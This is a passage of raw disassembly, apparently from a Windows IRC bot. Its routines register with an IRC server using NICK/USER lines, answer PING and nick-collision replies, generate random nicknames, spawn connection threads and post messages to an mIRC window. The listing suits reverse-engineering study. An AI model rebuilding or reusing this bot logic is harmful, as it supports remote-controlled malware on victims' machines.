[ebp+var_4] push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi pop edi pop esi leave retn sub_417552 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27C0B36h push eax nop call near ptr 27C0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B54 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437BA4 push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27C0B36h push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA34 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387BC jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387AC loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 2680000h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF8[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF8[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF8[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call near ptr 2680925h nop mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call near ptr 27E0000h nop lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27F04DBh push esi mov edi, eax call near ptr 27F0000h nop call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2800000h push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27F0DE7h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27F0B21h push edi nop call near ptr 26608E4h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 